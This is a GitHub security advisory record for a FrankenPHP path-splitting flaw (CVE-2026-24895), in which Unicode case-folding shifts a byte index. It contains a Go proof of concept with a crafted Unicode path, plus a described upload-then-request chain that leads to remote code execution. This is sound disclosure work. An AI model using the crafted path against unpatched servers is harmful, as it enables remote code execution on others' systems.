{"schema_version":"1.9.0","id":"GHSA-g966-83w7-6w38","published":"2026-02-12T15:29:36Z","modified":"2026-02-24T20:59:20.300541Z","aliases":["CVE-2026-24895","GO-2026-4486"],"related":["CVE-2026-27590"],"summary":"FrankenPHP's unicode case-folding length expansion causes incorrect split_path index (SCRIPT_NAME/PATH_INFO confusion) in FrankenPHP","details":"### Summary\n\nFrankenPHP’s CGI path splitting logic improperly handles Unicode characters during case conversion. The logic computes the split index (for finding `.php`) on a lowercased copy of the request path but applies that byte index to the original path.\n\nBecause `strings.ToLower()` in Go can increase the byte length of certain UTF-8 characters (e.g., `Ⱥ` expands when lowercased), the computed index may not align with the correct position in the original string. This results in an incorrect `SCRIPT_NAME` and `SCRIPT_FILENAME`, potentially causing FrankenPHP to execute a file other than the one intended by the URI.\n\n### **Details**\n\nThe vulnerability resides in the `splitPos()` function and its usage within `splitCgiPath()`. The logic attempts to find the script extension (e.g., `.php`) in a case-insensitive manner by lowercasing the path:\n\n```go\nlowerPath := strings.ToLower(path)\nidx := strings.Index(lowerPath, strings.ToLower(split))\nreturn idx + len(split)\n```\n\nThe issue is that the returned `idx` represents a byte offset within `lowerPath`. However, `splitCgiPath()` uses this index to slice the **original** `path`:\n\n```go\nfc.docURI = path[:splitPos]\nfc.pathInfo = path[splitPos:]\nfc.scriptName = strings.TrimSuffix(path, fc.pathInfo)\nfc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName)\n```\n\nThis logic relies on the assumption that `len(strings.ToLower(path)) == len(path)`. This assumption is false for certain Unicode characters. For example, the character `Ⱥ` (U+023A) requires 2 bytes in UTF-8 (`0xC8 0xBA`), but its lowercase equivalent `ⱥ` (U+2C65) requires 3 bytes (`0xE2 0xB1 0xA5`).\n\nIf the path contains such characters before the `.php` extension, the index calculated on `lowerPath` will be larger than the corresponding visual point in the original `path`. When applied to the original path, the split occurs at the wrong byte offset. This can cause the server to treat a larger portion of the path as the script name, effectively allowing an attacker to manipulate `SCRIPT_FILENAME`.\n\n### **PoC**\n\nThe following Go program demonstrates the discrepancy between the byte index in the lowercased string versus the original string.\n\n1. Save the following as `poc.go`:\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"strings\"\n)\n\nfunc splitPos(path string, split string) int {\n    lowerPath := strings.ToLower(path)\n    idx := strings.Index(lowerPath, strings.ToLower(split))\n    if idx < 0 {\n        return -1\n    }\n    return idx + len(split)\n}\n\nfunc main() {\n    // U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes.\n    // We construct a path where the byte expansion shifts the index.\n    path := \"/ȺȺȺȺshell.php.txt.php\"\n    split := \".php\"\n\n    pos := splitPos(path, split)\n\n    fmt.Printf(\"orig bytes=%d\\n\", len(path))\n    fmt.Printf(\"lower bytes=%d\\n\", len(strings.ToLower(path)))\n    fmt.Printf(\"splitPos=%d\\n\", pos)\n\n    // Current Unsafe Behavior:\n    fmt.Printf(\"orig[:pos] (Calculated Script)=%q\\n\", path[:pos])\n    fmt.Printf(\"orig[pos:] (Calculated PathInfo)=%q\\n\", path[pos:])\n\n    // Expected Safe Behavior:\n    want := strings.Index(path, split) + len(split)\n    fmt.Printf(\"expected splitPos=%d\\n\", want)\n    fmt.Printf(\"expected orig[:]=%q\\n\", path[:want])\n}\n```\n\n2. Run the PoC:\n\n```console\ngo run poc.go\n```\n\n3. **Output:**\n\n```text\norig bytes=26\nlower bytes=30\nsplitPos=22\norig[:pos]=\"/ȺȺȺȺshell.php.txt\"\norig[pos:]=\".php\"\nexpected splitPos=18\nexpected orig[:]=\"/ȺȺȺȺshell.php\"\n```\n\nIn this example, FrankenPHP would identify `/ȺȺȺȺshell.php.txt` as the PHP script to execute, ignoring the fact that the actual file extension in the file system might be `.txt`.\n\n### Impact*\n\nThis is a **Security Boundary Bypass** and **Path Confusion** vulnerability.\n\nIn setups where users can upload files (e.g., avatars, text files) that are stored within the document root or a reachable path, an attacker can upload a file containing malicious PHP code with a safe extension (e.g., `payload.txt`). By crafting a request with specific Unicode characters, the attacker can force FrankenPHP to calculate the `SCRIPT_FILENAME` as ending in `payload.txt`, while the request appears to contain `.php` to the internal router logic.\n\nThis results in the execution of non-PHP files as PHP scripts, leading to **Remote Code Execution (RCE)**.\n\n### **Patched Versions**\n\n* This issue is fixed in FrankenPHP version **1.11.2**.\n\n### **Workarounds**\n\n* Ensure that user-uploaded files are stored outside of the public document root.\n* Implement strict WAF rules to reject requests containing specific multi-byte Unicode characters in the URL path if an upgrade is not immediately possible.","affected":[{"package":{"name":"github.com/dunglas/frankenphp","ecosystem":"Go","purl":"pkg:golang/github.com/dunglas/frankenphp"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.11.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-g966-83w7-6w38/GHSA-g966-83w7-6w38.json"}}],"references":[{"type":"WEB","url":"https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24895"},{"type":"WEB","url":"https://github.com/php/frankenphp/commit/04fdc0c1e8fde94e2c1ad86217e962c88d27c53e"},{"type":"PACKAGE","url":"https://github.com/php/frankenphp"},{"type":"WEB","url":"https://github.com/php/frankenphp/releases/tag/v1.11.2"}],"database_specific":{"cwe_ids":["CWE-180","CWE-20"],"github_reviewed":true,"github_reviewed_at":"2026-02-12T15:29:36Z","nvd_published_at":"2026-02-12T20:16:10Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}]}